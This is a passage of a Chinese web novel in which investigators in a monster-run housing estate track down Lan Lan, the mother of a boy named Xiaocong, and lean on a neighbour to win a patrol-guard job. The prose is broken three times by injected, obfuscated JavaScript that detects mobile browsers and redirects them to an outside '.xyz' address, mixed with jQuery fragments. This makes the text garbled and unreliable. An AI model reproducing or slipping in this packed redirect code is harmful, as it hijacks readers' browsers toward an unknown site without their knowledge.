;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15131892|163558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点道理,但事关部门尊严,这道德高地我是万万不能下,于是强辩道:“新站点是庄哥发现的,他也算秩序维护部的人,所以我们依旧缜密。” 钱越不同意,我们老大怎么就算你们秩序维护部的人了。 钟沐把文件拍到他头上:“去干活!” 钱越脑瓜子被敲得嗡嗡响,转头在部门吃饭群里流宽面条泪,我也想来美满家园。 庄宁屿暂时没空理他。 街边长椅后是一堵残破的墙,目前他和易恪正隐匿在这里。透过缝隙,可以看到一队怪物正在朝这边走来。他们的外形很接近正常人类男性,穿着统一的黑色制服,手中拿着防爆装备,应该就是规则中所提到的“安全巡逻员”。 易恪目送怪物走远:“他们的存在,是为了防止有人带走小丛的母亲?” 庄宁屿点头:“我们要尽快找到她。” 美满家园一共五栋单元楼,每单元各有五层,一层两户,换言之,这里最多会有五十户人家。 小区只有一个大门,传达室里坐着魁梧凶悍的怪物门卫,他会仔细检查每一个进入者的证件。 “严禁非住户进入小区,”易恪分析,“所以现在我们现在要先买一套房。” 庄宁屿用下巴示意:“不远处有个告示栏。” 易恪推着他一起过去,告示栏里贴满了各种小广告,开锁、保洁、看诊、泥工……层层叠叠,又被风刮得破破烂烂,看起来格外凄凉。易恪找了一圈,遗憾地说:“没有房屋出售的广告。” 庄宁屿和他对视三秒,发现对方没有在演戏,他竟然是真的在思考“不买房要怎么成为住户”这件事。 易恪不解:“你为什么要盯着我看?” 庄宁屿问他:“除了买房之外,你还能不能想出第二种办法,成为合规住户?” 易恪干脆利落地回答:“和业主假结婚。” 庄宁屿被他这种既不食人间烟火又猛食人间烟火的思维方式给震住了,半天不知道该从哪里开始教育,沉默半天,抬手从告示栏里撕下来一张小广告,“啪”一声拍进他的怀里。 易恪莫名其妙展开一看,硕大四个黑字—— 房屋招租! 庄宁屿佩服地说:“你连假结婚都能想到,竟然想不到租房?” 易恪摊手:“因为我有个亲戚为了争家产最近刚和人假结婚,而我也真的没有租过房。”没有理论,全是实践。 庄宁屿伸手:“钱包给我。” 易恪没有辜负“有钱”这个人设,钱包里规则币的厚度看起来能长租这里三年五载。但其实钱是叶皎月特批的,因为全组都知道,庄队爱乱跑,庄队爱丢钱,庄队走哪都带着小易,所以让小易随身携带巨款以备不时之需,这很合理,现在果然派上了用场。 美满家园里的闲置房屋很多,不到一个小时,庄宁屿就从笑容满面的房东阿姨手里接过钥匙,顺利进入小区,成为了一单元502的合规住户。房子是两室一厅,一厨一卫,没有电梯。对门住户的铁门紧锁着,门口放了一袋还没来得及扔的垃圾。据房东阿姨介绍,501住着的是一对正经夫妻,各自有工作,绝对不是什么乱七八糟的社会人。 和桃李小区一样,美满家园里也有一家小超市,怪物老板在柜台后打着盹,货柜里的商品足够日常所需。日暮时分,厨房里亮起暖黄色的灯光,锅里咕嘟咕嘟煮着牛肉面条,食物香气盈满整个房间,有效驱散了沉沉黑夜带来的寒冷。 “一直站在那里,有什么发现?”易恪把两碗面条放在餐桌上。 “本来我计划在入夜后,让你去找小丛的母亲,但现在看起来有些棘手。”庄宁屿扶着窗框挪动两步,重新坐回轮椅。易恪擦干净手,也走到窗边往下看。 整个小区里,四处都是移动的人影,全部都是巡逻员。他们手里拿着大功率电筒,不断照向小区的四面八方,搜寻着一切可能出现的违规者。 “不管他们,先吃饭。”易恪推着人去洗手。老式小区,洗手间小而窄,只在墙的最高处开了条细条窗透气。502窗外刚好挂了一盏惨淡照明灯,忽然间,一道诡异黑影倒悬而下,一闪即逝,像四肢落地的猴子。 易恪没防备:“什么鬼东西?” “巡逻员。”庄宁屿拧开水龙头,仔细冲干净手上的泡沫,“我也是刚刚才发现,他们中的一部分可以不借助任何工具,在垂直墙面上奔跑,换言之,这里的安保措施横平竖直立体交错,找不到任何死角。” 易恪摇头:“听起来像垃圾堆里的变异产物,倒胃口。” 但庄宁屿的胃口却没有被影响,毕竟在之前的行动里,更变异的产物他也不是没见过。 两人回到餐桌旁,易恪的厨艺很好,牛肉面闻起来很香。庄宁屿坐在椅子上,正在疑惑对方今晚居然没作新妖,结果低头一看,碗里的白萝卜片统统被切成了爱心形状。 “……” 好想绝食。 14. 桃李小区14 夜色渐深。 客厅墙上挂着一个老式挂钟,秒针在转动时会有“咔咔”的机械音,也不知道是哪辈子的古董,齿轮艰涩得下一秒就要散架罢工。庄宁屿经它提醒,才想起易恪的腕表还在自己这里,于是解下来递过去。 “戴着吧。”易恪说,“本来就是送你的礼物。” 庄宁屿必然不会接受。这表是易恪去年买的,那阵庄宁屿刚做完一次手术,醒来后全麻余韵未消,整个人昏昏沉沉,他孤独地盯着天花板,思考着生命的意义,那是什么东西在发光,是沉重的轻浮,严肃的狂妄,还是光明的烟雾,寒冷的火焰? 护工阿姨:“是医院的灯泡。” 庄宁屿拉住她的手:“罗密欧来了!罗密欧来了!” 易恪就是在这种时候拎着百达翡丽出现在了病房里。庄宁屿余光瞥见之后连连摆手,说探病不用带礼物,护工阿姨也在一旁帮腔,证实刚才有人送来了九百九十九朵非常美丽的蓝玫瑰,同样被庄老师退了回去,再说现在并不是探病时间,这位帅哥你到底是怎么混进来的,还是听话快点回去吧。 她一边说,一边打开病房门送客,结果易恪实在优雅,他抬手掸了掸衣服上并不存在的灰尘,用白天鹅一般高傲的语调回答:“我不是来探病的。”紧接着又从大衣兜里掏出一本巨型精装硬壳书,友好解释:“今天是十九世纪俄罗斯伟大作家陀思妥耶夫斯基的生日,我代表读书会来和幸运会员一起为文豪庆生。” 说完不等护工阿姨回答,就自顾自在众人震惊的目光里,一屁股坐在了病床边,并且还要顺便把一支掉落的碍眼蓝色野玫瑰踢飞到垃圾桶旁。 幸运会员庄宁屿当时吃亏就吃亏在了全麻上,脑子一时没转过来,只能被迫共读,而病房里的护士和护工则是齐齐消音,看向易恪的目光肃然起敬。后来这件事也成为了该医院的永恒传说,毕竟别人全麻后说胡话,庄宁屿全麻后念莎士比亚,别人探病时买水果牛奶,易恪探病时带《卡拉马佐夫兄弟》。 当说不说,乍一听真的很般配。 庄宁屿不想回忆这奇葩往事,把他的表抬手抛回去:“来开会。” 易恪戴上耳机,这里的信号要比街上好一些,至少不再有刺耳的电流音。 另一头传来叶皎月的声音:“我们找到了杜晓荷。” 庄宁屿稍感意外:“这么快就找到了,她在哪?” “葡萄牙。”叶皎月同步上传了最新资料。 庄宁屿点开照片,屏幕上的女性年龄大概在五十来岁,短发,健壮,面容和年轻时的杜晓荷极为相像。文件显示,她的确在和贠大力分手之后就偷渡出国,一边打黑工一边学语言,辗转多年后终于拿到合法身份,眼下是三家饭店的老板娘。她把日子过得不错,家庭美满穿金戴银,看着和桃李小区老住户口中那个“话少沉默”的外乡小媳妇完全不是同一个人。 “杜晓荷很愿意配合我们的工作。”叶皎月继续说,“她和贠大力相识于微时,年轻时恋爱脑,辞了自己的工作,一门心思给贠大力当后勤保障。贠大力刚开始表现得其实不错,顾家爱妻能吃苦,送货时舍不得下馆子,饿了就吃方便面,杜晓荷心疼他,但也没别的办法,就到处跑着给他买不同口味的方便面,加上鸡蛋榨菜火腿肠,想让男朋友吃得稍微好一点。很快两人就攒下了一笔钱,搬到锦城,租下桃李小区的房子,后来又和成野合伙开了公司,准备在大城市里寻找更多发展机会。” 结果发展机会确实有,钱也确实赚了一些,眼看年轻时做的美梦正在慢慢成真,贠大力却慢慢开始离这个家越来越远,杜晓荷起初并没有觉察到,后来隐约觉察到了,又本能地逃避现实,一直在自欺欺人。 “杜晓荷自从来到锦城,就一直没再出去工作,贠大力的收入足够支撑一个家,她就做起了全职主妇。桃李小区的住户们说她沉默寡言,但其实她性格是偏外向的,不然之前也不可能打那么多份工。后来之所以显得内向,其实是因为那阵刚从镇上搬到城里,不知道该怎么交朋友,小区里住着的又大都是年轻女老师,时髦体面,文质彬彬,和她看起来像是处于截然不同的两个世界。再加上贠大力可能是手里有了点小钱,已经生出了花花肠子,看惯了外面的女人,就开始嫌弃家里的女朋友拿不出手,经常对她言语打压,不买新衣服说她土,买了新衣服又说她身材走样撑不起来,浪费钱,到处找茬,嘴里没一句好话。” 杜晓荷起初还真就被PUA了,整个人变得越来越沉默,也不愿意出门社交,成天就只待在家里,心理差点出了问题,但贠大力对此却毫无觉察,或者说他就算觉察到了,也不会在意,毕竟他常年在外奔波,只要肯花钱,想要什么样的女人找不到? “那时候我还没清醒过来。”杜晓荷的原话是这样的,“总想着要挽回他,就专门挑了个日子,煮了两包方便面,他可能还有点良心吧,那晚吃着面,和我一起回忆当年的苦日子,竟然真的安分了一段时间。” 杜晓荷就这么稀里糊涂地有了一个孩子,又稀里糊涂地失去了这个孩子。至于流产的原因,确实和贠大力没有直接关系,但也说不好,毕竟冷暴力一样算暴力。 “贠大力第一次打她,也是在这次流产不久之后。”叶皎月说,“两人发生口角,他就打了她一个耳光。” 结果谁都没料到,杜晓荷直接被这一巴掌打得清醒过来,二话不说就抡圆胳膊扇了回去,贠大力猝不及防,身体失去重心,在柜子上撞得满脸是血。杜晓荷并不是大吵大闹的性格,贠大力更不愿意被邻居看到自己鼻青脸肿的惨状,就像成野说的,他“有点欺软怕硬”,所以这场肢体冲突进行得相当短暂,最终以双方各退一步为落幕。 第二天,杜晓荷就问贠大力要来一张存折,花一大笔钱,去健身房报了名。贠大力自知理亏,也有可能是害怕再挨打,倒是没有对这件事发表任何意见,反而还对她更好了一些。两人就这么又相互纠缠了一阵子,把日子维持得看似风平浪静,一直到杜晓荷第二次怀孕,再第二次流产。 “那阵我才确认,他早就在外面有了女人,还不止一个,长期的短期的都有,时间最久的那个,连孩子都给他生了,是个儿子。”屏幕另一头的杜晓荷转了转手上的翡翠戒指,平静地对叶皎月叙述着这段往事,“他思想封建,一直就想要个儿子。” 叶皎月问:“然后你就出国了?” 杜晓荷点了点头:“其实也不仅仅是因为他在外面有别的家,还因为他那时候染上了赌瘾,债主们第一次找上门时,其实并没有打砸,那群男人表现得挺友好的,可能是怕我也跑了吧,但我知道,不管他们友好还是不友好,这种日子我肯定是不能再过了。” 下定决心的杜晓荷行动力极强,她想方设法放低姿态,尽可能地拿走了家里所有能拿走的钱,为了不被贠大力惹下的烂事再打扰,干脆牙一咬,跟着小姐妹一路跌跌撞撞去了俄罗斯,想着能跑到天边,就跑到天边。 庄宁屿听着叶皎月的转述,又问:“杜晓荷对贠大力在外面的女人了解多少?” “那个女人名叫蓝岚,跟了贠大力很久,在杜晓荷第一次流产的时候,她肚子里就有了小丛。”叶皎月说,“我们已经查到了她的部分资料。” 看照片,蓝岚和杜晓荷是完全不同的两种类型,她穿着一条荷叶边的连衣裙,长发红唇,脸颊有些瘦削,神情虽然疲倦,但依旧符合大众认知里女性的“洋气漂亮”,老家是位于西南山区的一个偏远小山村,没上过几年学,早年因为从事非法色|情行业而在警方留下了案底,再后来,人就莫名其妙消失了。 和杜晓荷一样,蓝岚也是孤女,家庭关系极度简单,所以直到她失踪后差不多一年,才有老家的表哥后知后觉跑到派出所报案。警方走访调查了她曾经的发廊小姐妹,发现蓝岚早就跟着男朋友去了锦城,至于男朋友是谁,小姐妹回忆:“这我可不知道,那些货车司机油得很,第一次来姓王,第二次来就姓张,嘴里没一句实话。长相?不知道啊,哪儿人?也不知道,警察先生,我真不知道,我和阿岚不熟的,就只在闲聊时听她偶尔提过几次。阿岚的朋友?阿岚没什么朋友,她那个人,心理不健全,怎么说呢,好像和谁都处不来。” “根据之前贠大力同乡的供述,在风雪夜里,曾经有一个腿脚不方便的女人去村里找过贠大力,而那个时间点,杜晓荷说自己已经出国了。”叶皎月说,“蓝岚的发廊小姐妹证实她的右腿早年受过伤,在阴雨天或换季的时候会疼得厉害,甚至需要去医院治疗。我们针对这一线索做了筛查,果然在三院外科的就诊记录里,找到了一名完全符合现有条件的,名叫‘蓝岚’的患者。” 当年的接诊护士对这名病患还有印象,不过倒不是因为腿脚旧伤,而是因为有一次她值夜班时,接了一个从急诊科转来的女人,满头是血,胳膊脱臼,伤得很重,自称是不小心从楼梯上滚了下来。 “这名女患者就是蓝岚。”叶皎月说,“护士和医生都怀疑她是被人打的,建议报警,蓝岚却不肯,坚持说是自己摔的。她头脑清醒,情绪稳定,说话很有条理,看起来是个有主见的人,人又漂亮,一个眼刀飞过去,送她到医院的男人立刻唯唯诺诺,所以护士也就没再坚持报案。” 调查组调阅了蓝岚这些年的就诊记录,除了这次之外,的确没什么家暴痕迹。 在护士的印象里,那次送蓝岚到医院来的男人在病房里待了一共不到半个小时,期间不停地接打电话,护士怕他会打扰到患者,就请他先去走廊处理好工作再回来,结果男人这一走吧,就整个失踪了,把患者一个人丢在病房里,钱也没人交,手续也没人办,后来还是另一个女人匆匆忙忙赶过来,才把事情跑完。 “另一个女人?” “是成野的妻子,冯婷。” 在贠大力离开之后,蓝岚的情绪出现了明显波动,一直在骂没用的废物男人,护士在换药的时候,曾经听过两人几句交谈,根据对话内容推断,蓝岚的孩子那时应该也是由成野夫妇在看顾。 叶皎月继续说:“我们的人已经去了贠野集团,成野和冯婷这次没有再隐瞒,认倒是认,但他们一口咬定当年蓝岚出院之后,就带着孩子和贠大力一起跑了,从此再没联系过。” “那他们怎么解释之前撒的谎?” “成野说他觉得蓝岚这件事不重要,更何况也不光彩,之所以没和我们说,纯粹只是想维护贠大力的形象。”叶皎月轻嗤一声,“没一句实话,老油条,听听得了。” “贠大力那阵忙着躲债主,就算再爱儿子,也不可能在跑路时候还要带着他。”庄宁屿说,“所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15137471|163558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以极大概率,带着小丛回桃李小区的人其实是成野或者冯婷,至于回去的目的,可能是为了帮贠大力找东西,又可能是想毁灭什么证据,毕竟两个人当初起家也不算干净,贠大力一旦穷途末路,未必不会敲诈勒索成野。” 但无论是哪种原因,两人都要在屋内翻找。那时小丛已经会跑会走,正是淘气顽皮的年龄,他只要一出门,就能爬上直通天台的楼梯。 “贠大力很看重这个儿子,杜晓荷知道,成野夫妇肯定也知道。”庄宁屿说,“假使孩子真的是因为成野夫妇的疏忽而意外身亡,贠大力一定不会轻易放过他们。” 易恪突然冒出一句:“当年在水库杀害蓝岚的人,会不会不是贠大力,而是成野?” 毕竟只要蓝岚出院,第一件事肯定就是找孩子。贠大力那阵如果在躲债,手机大概率是打不通的,蓝岚就只有找成野和冯婷。易恪接着说:“把孩子送到了贠大力的老家,算是最合理的一种说辞,成野原本是想用这个借口拖延时间,但没想到蓝岚竟然自己找了过去。” 一旦被蓝岚发现孩子并不在贠家村,一旦被贠大力知道孩子丢了…… 庄宁屿说:“所以成野就追去贠家村,杀了蓝岚灭口。这样一来,就算贠大力问起来,他也能推说是蓝岚带着孩子跑了。” “有可能。”叶皎月同意两人的看法,“但这件事最终还是得由同事调查,我们的任务是破除规则,那边现在怎么样?” “这里有很多巡逻员,像变异的猴子飞来荡去,到处都是。”庄宁屿单手揉着太阳穴,“我本来想让易恪趁夜色去找一下蓝岚,现在看起来有些棘手,只能想想别的办法。” “好。”叶皎月点头,“但还是要抓紧时间,毕竟小丛的身体……实在算不上好。” 这场会议结束之后,易恪起身倒了两杯水:“我去找找看?” “你要是被巡逻员追着打,我帮不上多少忙。”庄宁屿扶着沙发,把自己转移到轮椅上,“规则里既然提到了良好的邻里关系,那邻居应该能提供一些帮助。” 易恪推着他的轮椅回到窗户旁,根据此时小区里亮灯的情况,住户和空置房屋大概各占一半。和桃李小区不同,这里从严格意义上来说其实并没有受困住户,因为所有住户,都是怪物。不过怪物也分NPC和坏怪物,就规则来看,眼下应该只有巡逻员会给两人的任务带来危险和阻碍。 “砰!” 庄宁屿还在心里推算人数,隔壁突然传来一声巨响,像是什么重物倒在了地上。 易恪第一反应就是蓝岚出了事,正准备翻窗过去,耳边却又飘来一句尖锐高亢的女声:“你这些年一共贴补了你那废物弟弟多少钱,三天之内给老娘一分不少地拿回来,否则就等着离婚!” 庄宁屿拉住易恪的袖子,示意他不用紧张:“听声音和口音,都不像蓝岚。” 两人靠在窗户边,聚精会神地听了半天墙角,那似乎是一对夫妻正在吵架。双方各执一词,女人到后期逐渐落了下风,于是情绪上头来了一嗓子“你就不怕我把你这些年私下收的钱捅到你们单位”,话音刚落,男人的声音立马落了下去,不久,又传来巨大的摔门声,而在摔门声后,是女人的叫骂与哭泣。 易恪问:“什么意思,因为用贿赂贴补弟弟而引发的一场家庭矛盾?” 庄宁屿点头:“收受贿赂,说明他既爱钱又有权,对我们而言算好事。” 易恪诚心学习:“下一步呢,直接过去?” 庄宁屿答:“迂回一点,从调解家庭纠纷开始。” 调解夫妻矛盾这种事,属于纠纷调解部的工作强项,江湖传闻庄宁屿没事干就捏把五香瓜子满十五区溜达,东家劝分西家劝和,在婚姻毁灭者和当代月老之间无缝切换,好似民政局修炼出了人形。 “走。”庄宁屿拍拍轮椅扶手,“带上你刚烤的橙皮黄油小饼干,我们去隔壁拜访一下新邻居。” 但易恪当场拒绝了这个要求,爱心饼干怎么能随便送人,没有男德。他翻箱倒柜,最后从小超市塑料袋里摸出来两瓶郫县豆瓣酱,往庄宁屿怀里一塞:“好了,走吧。” 庄宁屿:“带这个当礼物是不是不太合适。” 易恪:“合适。” 小超市现在已经关门了,不合适也要强行合适。隔壁铁门被打开,眼睛红肿的中年女性带着些许纳闷,看着门口的两个年轻男人:“你们找谁?” “我们是隔壁新搬来的邻居。”庄宁屿态度友好,“过两天可能要重新粉刷一下房子,工人来来往往的,难免有打扰到你的地方,所以提前过来打个招呼,还请见谅。” “你们太客气了。”女人整理了一下自己蓬乱的头发,勉强维持着得体的笑容,“我过两天要出差,我老公的工作忙,经常不在家,你们随便装吧,不会打扰到谁。” 说完,她转身就要关门,庄宁屿却叫住了她:“大姐。” “还有事吗?”女人问。 “不好意思,我是想说,”庄宁屿指了指她红肿的额头,“你好像需要上点药。” 女人先是一愣,然后掩饰性地摇了摇头,眼泪却随着她的动作不受控地往下落。 庄宁屿一手抱着郫县豆瓣,一手摇起轮椅进门:“大姐,来来,你先坐下,我们有话慢慢说。” 15. 桃李小区15 房屋装修得很简单,却打扫得很干净。进门处的衣挂上搭着一件黑色夹克,看起来有些眼熟,是巡逻员制服。 这家的男主人是小区的安全巡逻员,而且听夫妻两人刚才的对话,职位应该还不低。易恪看了眼庄宁屿,稍稍挑眉,如果他们所买卖的商品是安全巡逻员的职位,那就意味着自己将来能光明正大出入各单元楼找人,不用再受门禁卡限制。 女主人很快就端着两杯茶水走出来,她刚刚应该稍微收拾了一下自己,头发和衣服都整齐多了,但情绪依旧没平复好,看起来并没有心思聊天。 可架不住庄宁屿社区工作经验实在丰富,上来就开始搞妇女权益普及,条条框框分门别类,从平等参与讲到共同发展,再从共同发展讲到共同受益,理论虽然是好的,但眼下女主人显然对这些没有一毛钱的兴趣,事实上她已经在猛烈地后悔了,于是及时开口打断:“你们找我到底有什么事?” 庄宁屿还在滔滔不绝:“针对离婚妇女财产权益难以实现等问题……大姐你刚说什么?” 女主人没好气地说:“我说你们两个,找我到底有什么事?” “大姐真是慧眼如炬。”庄宁屿伸出一根大拇指,“既然这样,那我就不拐弯抹角了,我这个弟弟,毕业后一直没工作,你看大哥能不能给他安排一个咱小区巡逻员的活?” 女主人闻言,视线不自觉就落在那两瓶郫县豆瓣酱上,不过还没等她开口拒绝,厚厚两叠规则币已经出现在眼前。易恪说:“姐,这是一部分,事成之后还有,我没别的想法,就想要一份稳定工作。” “你们拿回去吧。”女主人并不买账,“我们老李做不来这种事。” 她一边说,一边站起来打开门,扭头看着沙发上的两个人:“走不走?不走的话,我现在就叫巡逻员上来。” 庄宁屿却说:“叫巡逻员上来也行,正好我也有事情想问。” 女主人目光狐疑。 “不叫啊?那我自己打电话问。”庄宁屿一边说,一边拨通了守护神安保公司的400热线电话。 对面很快就接通,话务员声音甜美:“您好,欢迎致电守护神安保公司,请问有什么可以帮您?” “我想请问一下,”庄宁屿慢条斯理地说,“如果一个单位的管理人员利用职务便利,为他人谋取晋升等方面的利益,并同时收受他人财物的,我能不能要求你们把他永久拘捕?” 女主人的眼睛瞬间瞪大,她“啪”一声甩上门,上来就想抢电话,却被易恪拦在了半路。她咬牙切齿地低声骂道:“放手,你们举报也没用,这公司本来就是我老公亲戚家开的,又不是政府公务员的职位,没人会管!” 另一头的话务员也陷入沉默,显然她此前从来没有接到过类似举报,过了半天,才迟疑着开口:“您好,先生,这好像并不属于我们的业务范畴,建议您直接拨打……呃……市长热线?” “如果这份以权谋私和本小区的安全息息相关呢?”庄宁屿说,“比如说,我们小区安全巡逻员的位置。” 话务员不假思索:“那建议您向本公司人事部投诉哦,不过就算投诉,应该也不至于永久拘捕。” “为什么不能?”庄宁屿语调里充满了真诚的疑惑,“规则里明确说明,全体业主都有义务规范自身行为,这样才能提升居住环境,共建安全小区。现在如果有人拿着安全巡逻员的职位为他自己牟利,在金钱的蒙蔽下,缺少了应有的考核环节,那就等于破坏了小区全体业主的居住环境,这种明晃晃的违规行为,你们居然都不管?” 话务员:“呃……” 庄宁屿持续散发不满:“难道你愿意在一个安全员都是关系户的小区里生活吗?他今天招一个混混,明天就会招一个变态,后天,大后天,吸毒人员和坐牢人员都有可能会穿上神圣的安全巡逻员制服,那这还有什么居住环境和居住安全可言?你们守护神到底是怎么工作的?” 事关公司名誉,话务员态度严肃:“先生,请您先不要着急,我们肯定会解决这件事。” 庄宁屿问:“所以现在能按照规则,永久拘捕吗?” 话务员这回语调坚定:“能,请问他是谁?” 女主人挣开易恪,一把夺过了庄宁屿的手机挂断,她气喘吁吁地说:“好,明天你弟弟就能去安保处报道!” 庄宁屿笑容真诚:“没问题,谢谢姐。” 女主人气不打一处来:“那你们现在可以走了吧?” 庄宁屿的屁股依旧粘在沙发上,他还有一件事要问。易恪在手机上调出蓝岚的照片,递过来:“认识吗?她是这个小区的住户。” “这个女人我不认识,但我知道她,住在2单元201。”女主人只看了一眼,就把手机还回去,狐疑地问,“你们是她的朋友?” 庄宁屿笑了笑:“不认识,只是受人之托,来打听一下她的近况。” 听到不是朋友,女主人才放下顾虑,开口道:“她从前是做那种事情的,后来好像改邪归正了。” “什么是‘那种事’?” “小发廊,这还是有一次他们两口子吵架,那男人自己嚷出来的,家里摔碟子砸碗,闹得动静不小,许多邻居都听到了,差点报警。对了,她还有个孩子,男孩,四五岁,比较淘气。” “在小区里有没有她的朋友?或者是关系比较近的人。” “没有,她那个人,脾气挺怪的,高傲,不好亲近。再加上他们夫妻吵架时说的过往,总归不是什么正经事,邻居们也不愿意主动去招惹。” “两口子经常打架吗?” “不经常,这女的漂亮,男的从前一直是哄着的,也就最近一次打得凶,好像是为了钱吧,还叫了120。” “还有没有别的关于她的事?” “没有了,我只知道这么多。” 两人彬彬有礼地道谢告辞,临走时顶着女主人的白眼,不忘把规则币和豆瓣酱都抱了回去,赚钱不容易,至于豆瓣酱,可以拿来炒蒜苗回锅肉吃。 “前期恩爱,后期大打出手,贠大力还真是对所有人都一视同仁。”易恪说,“对了,明天叫青哥也过来?” “青岗?”庄宁屿对这个提议稍感意外,“为什么?” 易恪帮他把牛奶加进红茶里,又用小调羹搅了搅:“我去小区巡逻的时候,没人保护你。” 庄宁屿一想,也有道理,虽然他觉得自己其实并不需要额外保护,但谁让秩序维护部人手实在充足呢,便宜不占白不占,于是点头答应,又说:“顺便把钱越也叫过来。” 易恪:“不叫。” 庄宁屿:“……” 易恪必不可能叫,他平等地嫉妒着每一个能和庄宁屿一起上班的人。 庄宁屿眼睁睁看着他态度倨傲,好似一只失聪天鹅一般踱步进了厨房。 按理来说,副队想要调个下属过来,完全不需要经过实习生的同意,但易恪坏就坏在不可控,这人又会发癫又会发情,简直难搞得要死。所以庄宁屿思想前后半天,最后还是没忍心把一心奔工作的小钱同志拉下这趟浑水,只在第二天把电话打给了青岗。 “好的庄队,我马上就到。”青岗一口答应,“眼下就一个问题,你和小易是怎么快速搞定公交司机的,纯赖车上不走吗?上次我试过,结果和他拉扯半天,给我烦的。” 庄宁屿把轮椅摇到阳光下:“我教你。” 半个小时后,155路社区公交准时停靠在春风超市前。 青岗拎着大包,大步踏上车,果然意料之内收获了怪物司机关于“未成年和母亲”的怒吼咆哮,现在的人为什么都这么没有素质,一个一个无视规则,你们是不识字吗? “但我有精神分裂。”青岗单手扶住栏杆,“我知道这件事正常人很难理解,但是在我心里,我是曾经那个幼小的我的母亲。” 怪物司机再次呆住了,大脑运转得十分艰难,试图把伦理关系捋一捋,这画面陌生而熟悉,让他想起了上一次同样很可怕的,强行要乘车的巨型未成年和他超爱投诉的男妈妈。 青岗敏感地问:“你歧视我?” 怪物司机缓缓坐直身体,沉默发车。 白雾重重。 青岗在美满家园下了车,怪物保安拦住他:“请出示业主卡。” “我刚准备租房子,都谈好了。”青岗远远看见庄宁屿正在院子里,于是挥手喊了几嗓子,成功把后者喊了过来。庄宁屿已经提前把他加进了房客名单,也和房东补了合同,保安检查过后,很顺利就放行了两人。 “庄队,怎么就你一个,小易呢?”青岗帮忙推着轮椅,两人一起回了住处。 “去保安办公室报道了。”庄宁屿单腿站在窗边,他已经对时不时闪现在眼前的巡逻者见怪不怪,甚至还能在对视时礼貌地笑一笑。 倒挂着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15141580|163558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的巡逻者:“……” 青岗又问:“你让他一个人去的?” 庄宁屿点头:“是。” “这就对了。”青岗喜气洋洋一拍轮椅,没忍住话匣子,“庄队,实不相瞒,我们内部早就在讨论这件事了,小易各项考核都排第一,真的完全可以拥有单独行动权限,甚至让他带个组都没问题。叶队其实也想和你谈这件事来着,只是一直没找到合适的机会,但没想到你竟然主动想通了!” 庄宁屿目视前方,潦草一“嗯”。 青岗粗枝大叶,并没有及时领会领导这声“嗯”里的敷衍,顺着他的视线往另一边看:“2单元201,小丛的妈妈就住对面那一户?” 老式小区,出于安全考虑,低楼层往往都会焊接额外的防盗窗,201也不例外,栏杆封死了阳台和窗户,金属在冷冰冰的太阳下,闪着同样冷冰冰的光,看起来不像住所,像监狱。 也的确是监狱。庄宁屿说:“据我观察,差不多每隔十分钟,就会有两名巡逻者出现在201的窗边,我猜楼道里也有,这里是他们的重点关照区。” 青岗没在房子里待多久,就被庄宁屿打发下楼买东西,结果刚好碰到从安保办公室里出来的易恪,他已经换好了巡逻员制服,宽肩窄腰大长腿,连手里拿着的破对讲机也别有一番时髦风味。青岗当场感慨,带货主播要找帅哥果然自有几分道理,真是好一件意大利纯手工定制保安服。 易恪说:“你看起来对这件衣服充满渴望。” “我确实渴望,但组织不许我抢你的任务,只让我过来当保姆。”他伸手揽住对方的肩膀,“跟哥分享一下,庄队怎么突然就舍得给你放开单独行动权限了?” 易恪答:“因为他进不去保安办公室。” 青岗:“……” 庄宁屿欲双人活动而不得,这单人权限不想开也得开,他自己则是被巡逻者拦在院子里,干等半天,结果还没等到易恪出来,人就被青岗一把子推走了。 猛男心碎:“我还以为庄队是专门在院子里等着接我,原来他是在等着接你?” 易恪拍拍他的手臂,默认了自己的特殊地位:“行,我去工作了。” 巡逻员的巡逻路线并不固定,易恪用门禁卡刷开2单元的单元门,一股陈旧潮湿的气息瞬间扑面而来,如同腐烂的罐头被打开,到处都是看不见的霉菌。1单元虽然也破旧,但至少楼道是干净的,光线明亮,有人气,而这里看起来更像是荒置已久的废墟。易恪踩过被油污裹满的楼梯,废旧纸壳、干瘪的易拉罐、厚厚的灰尘,还有201门口靠着的巡逻员,对方摁灭手里的香烟,面色不善地看着新人:“这栋楼归我管,你去别的地方。” “好。”易恪友好地点点头,没有多待,很快就转身离开。 身后,依稀传来模糊的电话铃声。 201的房间空荡荡的,并没有几件家具,家已经被卖空了,又或者说得更确切一点,这里从来就不是一个完整的家。破旧沙发上的女人正紧紧握着手里的电话,她肤色苍白,看起来刚刚大病过一场,一双眼睛被掩在长发和阴影之下,看不清具体的表情。 “蓝妹儿,你别乱走,我出去买点菜。”怪物保姆蹲在门口换鞋。 “好。”蓝岚没有理她,只是扯过薄被盖在自己身上,侧过身,继续在暗沉无灯的房间里,冷冷盯着漆黑的手机屏幕。 